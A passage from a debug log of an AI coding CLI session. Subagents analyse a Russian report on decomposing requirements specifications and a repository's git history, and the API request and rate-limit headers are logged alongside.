\u0438\u043c\u0435\u044e\u0442\\n81:\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043d\u0438 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u0437\u043d\u0430\u043c\u0435\u043d\u0430\u0442\u0435\u043b\u044f \u0434\u043b\u044f **\u043e\u0431\u0435\u0438\u0445** \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0439 \u2014\\n83:\u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f. \u0417\u043d\u0430\u043c\u0435\u043d\u0430\u0442\u0435\u043b\u044c \u2014 **32 \u043f\u0440\u043e\u0433\u043e\u043d\u0430**, \u0432\u044b\u0434\u0430\u0432\u0448\u0438\u0445 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u0438\u043d \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442.\\n85:## 3. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f\\n87:| \u0412\u0435\u043b\u0438\u0447\u0438\u043d\u0430 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n88:| --- | --- |\\n89:| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 | 57 |\\n90:| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0432\u044b\u0434\u0430\u0432\u0448\u0438\u0445 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u0438\u043d \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 (\u0437\u043d\u0430\u043c\u0435\u043d\u0430\u0442\u0435\u043b\u044c) | 32 |\\n91:| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, **\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0448\u0438\u0445 \u0422\u0417** | **0** |\\n92:| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, **\u043f\u043e\u0442\u0440\u0435\u0431\u0438\u0432\u0448\u0438\u0445 \u0447\u0443\u0436\u043e\u0435 \u0422\u0417 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435** | 4 |\\n93:| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0432\u0448\u0438\u0445 \u043e\u0434\u043d\u043e \u044f\u0434\u0440\u043e \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0430\u0434\u0440\u0435\u0441\u043d\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 | 4 |\\n94:| \u0418\u0437 \u043d\u0438\u0445 \u0441 \u044f\u0432\u043d\u043e\u0439 \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u043e\u0439 \u0443\u0440\u043e\u0432\u043d\u0435\u0439 `L0`\u2013`L4` | 2 |\\n98:| \u0414\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f | \u0414\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 | \u0414\u043e\u043b\u044f |\\n99:| --- | --- | --- |\\n100:| \u041b\u0438\u043d\u0435\u0439\u043d\u0430\u044f | 0 \u0438\u0437 32 | **0 %** |\\n101:| \u0421\u043b\u043e\u0435\u0432\u0430\u044f | 32 \u0438\u0437 32 | **100 %** |\\n103:\u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u2014 \u0432\u044b\u0438\u0433\u0440\u044b\u0448 \u0432 80 % \u043a\u0435\u0439\u0441\u043e\u0432 \u2014 **\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0441 \u0437\u0430\u043f\u0430\u0441\u043e\u043c**: 100 %\\n106:## 4. \u0427\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043b\u043e\u043c\u0430\u0435\u0442\u0441\u044f \u0432 \u043b\u0438\u043d\u0435\u0439\u043d\u043e\u0439 \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438\\n112:**4.1. \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u043d\u0435\u0434\u043e\u0441\u0442\u0438\u0436\u0438\u043c\u0430.** \u0415\u0441\u043b\u0438 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 \u0432 `M3` \u2014 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n114:\u041f\u0440\u0438 \u044d\u0442\u043e\u043c 47 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 57 \u0438\u043c\u0435\u044e\u0442 `run_type: statistics`, \u0442\u043e \u0435\u0441\u0442\u044c **\u0438\u0445\\n115:\u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u2014 \u0434\u0430\u0442\u044c \u0442\u0443 \u0441\u0430\u043c\u0443\u044e \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0443, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 `M3`**.\\n120:**4.2. \u0422\u0417 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043d\u0430 \u0432\u0445\u043e\u0434 \u0447\u0430\u0449\u0435, \u0447\u0435\u043c \u0432\u044b\u0445\u043e\u0434\u0438\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435.** \u041d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435\\n125:\u043e\u0446\u0435\u043d\u0438\u0432\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u044c **\u0447\u0443\u0436\u043e\u0433\u043e** \u0422\u0417 (\u0442\u0435\u043d\u0434\u0435\u0440\u043d\u0430\u044f \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430). \u0412\\n133:**4.3. \u041e\u0434\u0438\u043d \u0430\u043d\u0430\u043b\u0438\u0437 \u043f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e.** \u041f\u0440\u043e\u0433\u043e\u043d\\n140:> **\u043f\u044f\u0442\u044c \u0443\u0440\u043e\u0432\u043d\u0435\u0439**: L0 \u0437\u0430\u0434\u0430\u043d \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u043e\u043c \u043f\u0440\u044f\u043c\u043e, L1\u2013L3 \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0442 \u0442\u0440\u0451\u043c \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u043c\u044b\u043c\\n143:\u0422\u0430\u043c \u0436\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0430 **\u0432\u043d\u0435\u0448\u043d\u0435 \u043d\u0430\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c** \u0444\u043e\u0440\u043c\u044b:\\n159:**4.4. \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u0437 \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u0438 \u0441\u043f\u0438\u0446\u044b.** \u0420\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u00ab\u044f\u0434\u0440\u043e \u043f\u0440\u043e\u0442\u0438\u0432\\n170:## 5. \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437: \u0447\u0442\u043e \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0442\u0435\u0440\u044f\u0435\u0442\\n175:| \u0427\u0442\u043e \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f | \u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e | \u041a\u043e\u043c\u043f\u0435\u043d\u0441\u0430\u0446\u0438\u044f, \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u043c\u0430\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u043e\u0439 |\\n176:| --- | --- | --- |\\n177:| **\u041d\u0435\u0434\u0440\u0435\u0439\u0444 \u0440\u0438\u0441\u043a\u0443\u0435\u0442 \u0432\u044b\u0440\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0432 \u00ab\u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u0438\u0435\u00bb.** \u0415\u0441\u043b\u0438 `M2` \u2014 \u044d\u0442\u043e \u00ab\u0444\u043e\u0440\u043c\u0430\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438\u00bb, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0435\u0434\u0440\u0435\u0439\u0444\u0430 \u0424\u0422 \u2192 \u0422\u0417 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0447\ufffd\\n178:| **\u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0442\u044c \u0441\u043e \u0441\u043c\u0435\u043d\u043e\u0439 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f** \u2014 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0433\u0440\u0430\u043d\u0438\u0446\u044b, \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432 `P.1` \u0432\u0435\u0440\u0441\u0438\u0438 `0.1` | \u0418\u0437 \u0441\u043c\u0435\u043d\u044b \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0432\u044b\u0432\ufffd\\n179:| **\u0421\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430 \u0413\u041e\u0421\u0422 34.602-2020 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0443\u0440\u0430 \u043c\u043e\u0436\u0435\u0442 \u0440\u0430\u0437\u043c\u044b\u0442\u044c\u0441\u044f** \u0432 \u043e\u0431\u0449\u0435\u043c \u0441\u043b\u043e\u0435 \u00ab\u0432\u044b\u0445\u043e\u0434\u00bb | `L3` \u2014 \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u00ab\u0441\u0442\u0440\u043e\u0436\u0435\u00bb, \u044d\u0442\u043e \u0441\u043e\u0441\u0442\u0430\u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432, \u0437\u0430\u0434\u0430\ufffd\\n181:\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e: \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 **\u043d\u0435** \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u0430 \u043d\u0430 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0443\u0440\u0435, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435\\n183:\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043f\u0440\u0435\u0434\u043f\u0440\u043e\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0438 \u043e\u0446\u0435\u043d\u043e\u0447\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0443\u0440\u0430 \u0438 **\u044d\u043a\u0441\u0442\u0440\u0430\u043f\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d** \u043d\u0430\\n187:## 6. \u0412\u044b\u0432\u043e\u0434\\n192:\u00ab\u0444\u043e\u0440\u043c\u0430\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438\u00bb, \u0430 **\u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438\u0437 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e\\n193:\u044f\u0434\u0440\u0430 \u0441 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u044f\u0434\u0440\u0430**, \u0433\u0434\u0435 \u0444\u043e\u0440\u043c\u0430\u0442 \u0438 \u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u2014 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u0430 \u043d\u0430\u0431\u043e\u0440 \u0432\u044b\u0445\u043e\u0434\u043e\u0432\",\n[2026-09-29T07:45:43.569Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:43.569Z] [INFO]       }\n[2026-09-29T07:45:43.569Z] [INFO]     ]\n[2026-09-29T07:45:43.569Z] [INFO]   },\n[2026-09-29T07:45:43.569Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:43.569Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:43.569Z] [INFO]   \"uuid\": \"ad6e7a56-1f0b-4862-af17-7c9a9f89b1af\",\n[2026-09-29T07:45:43.569Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:43.564Z\",\n[2026-09-29T07:45:43.569Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:43.569Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:43.569Z] [INFO] }\n[2026-09-29T07:45:43.613Z] [STDOUT] [log_6abaf8] sending request {\n[2026-09-29T07:45:43.619Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:43.627Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:43.637Z] [STDOUT]   options: {\n[2026-09-29T07:45:43.650Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:43.658Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:43.661Z] [STDOUT]     body: {\n[2026-09-29T07:45:43.667Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:43.672Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:43.676Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:43.679Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:43.681Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:43.685Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:43.687Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:43.692Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:43.699Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:43.703Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:43.708Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:43.710Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:43.713Z] [STDOUT]     },\n[2026-09-29T07:45:43.718Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:43.721Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:43.724Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:43.727Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:43.731Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:43.734Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:43.737Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:43.740Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:43.743Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:43.746Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:43.748Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:43.749Z] [STDOUT]     },\n[2026-09-29T07:45:43.752Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:43.756Z] [STDOUT]   },\n[2026-09-29T07:45:43.758Z] [STDOUT]   headers: {\n[2026-09-29T07:45:43.764Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:43.766Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:43.773Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:43.776Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:43.778Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:43.781Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:43.784Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:43.790Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:43.794Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:43.797Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:43.802Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:43.807Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1471\",\n[2026-09-29T07:45:43.813Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:43.819Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:43.824Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:43.829Z] [STDOUT]     \"x-client-request-id\": \"1a842160-be9b-4113-ac56-83fa0cec94db\",\n[2026-09-29T07:45:43.836Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:43.842Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:43.845Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:43.848Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:43.852Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:43.855Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:43.860Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:43.864Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:43.868Z] [STDOUT]   },\n[2026-09-29T07:45:43.873Z] [STDOUT] }\n[2026-09-29T07:45:43.875Z] [INFO] {\n[2026-09-29T07:45:43.875Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:43.875Z] [INFO]   \"message\": {\n[2026-09-29T07:45:43.875Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:43.875Z] [INFO]     \"content\": [\n[2026-09-29T07:45:43.875Z] [INFO]       {\n[2026-09-29T07:45:43.875Z] [INFO]         \"tool_use_id\": \"toolu_01Vj6E1mvdx8LbAmB1Q3a1bh\",\n[2026-09-29T07:45:43.875Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:43.875Z] [INFO]         \"content\": \"    267 2026-06\\n      9 2026-07\\n    269 2026-08\\n     38 2026-09\\n    193 2026-06\\n      7 2026-07\\n    179 2026-08\\n     30 2026-09\\n174\\n    442 konard\\n    140 Ivan Gulienko\\n      1 unknown\\ncommit 53506bcc692d642415957f5a82959b2997704f55\\nAuthor: Ivan Gulienko <236820953+G-Ivan-A@users.noreply.github.com>\\nDate:   Tue Jun 2 18:54:31 2026 +0300\\n\\n    Add files via upload\\n\\n README.md | 172 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\\n 1 file changed, 172 insertions(+)\",\n[2026-09-29T07:45:43.875Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:43.875Z] [INFO]       }\n[2026-09-29T07:45:43.875Z] [INFO]     ]\n[2026-09-29T07:45:43.875Z] [INFO]   },\n[2026-09-29T07:45:43.875Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:43.875Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:43.875Z] [INFO]   \"uuid\": \"e8748658-edb1-4f90-bae3-146c494fe4fa\",\n[2026-09-29T07:45:43.875Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:43.656Z\",\n[2026-09-29T07:45:43.875Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:43.875Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:43.875Z] [INFO] }\n[2026-09-29T07:45:43.879Z] [STDOUT] [log_a7b8f8] sending request {\n[2026-09-29T07:45:43.883Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:43.888Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:43.892Z] [STDOUT]   options: {\n[2026-09-29T07:45:43.898Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:43.902Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:43.906Z] [STDOUT]     body: {\n[2026-09-29T07:45:43.911Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:43.917Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:43.921Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:43.926Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:43.933Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:43.943Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:43.946Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:43.949Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:43.952Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:43.957Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:43.961Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:43.963Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:43.965Z] [STDOUT]     },\n[2026-09-29T07:45:43.973Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:43.979Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:43.982Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:43.989Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:43.993Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:43.996Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:44.000Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:44.004Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:44.009Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:44.015Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:44.017Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:44.024Z] [STDOUT]     },\n[2026-09-29T07:45:44.029Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:44.033Z] [STDOUT]   },\n[2026-09-29T07:45:44.036Z] [STDOUT]   headers: {\n[2026-09-29T07:45:44.039Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:44.045Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:44.048Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:44.053Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:44.058Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:44.061Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:44.063Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:44.065Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:44.068Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:44.073Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:45:44.075Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:44.079Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1529\",\n[2026-09-29T07:45:44.082Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:44.085Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:44.088Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:44.092Z] [STDOUT]     \"x-client-request-id\": \"d36450fc-618c-4c9d-b0fd-20bbba5ffb85\",\n[2026-09-29T07:45:44.097Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:44.102Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:44.106Z] [STDOUT]     \"x-stainless-os\": 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\"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:44.528Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:44.532Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:44.538Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:44.541Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:44.545Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:44.547Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:44.551Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:44.555Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:44.560Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:44.566Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": 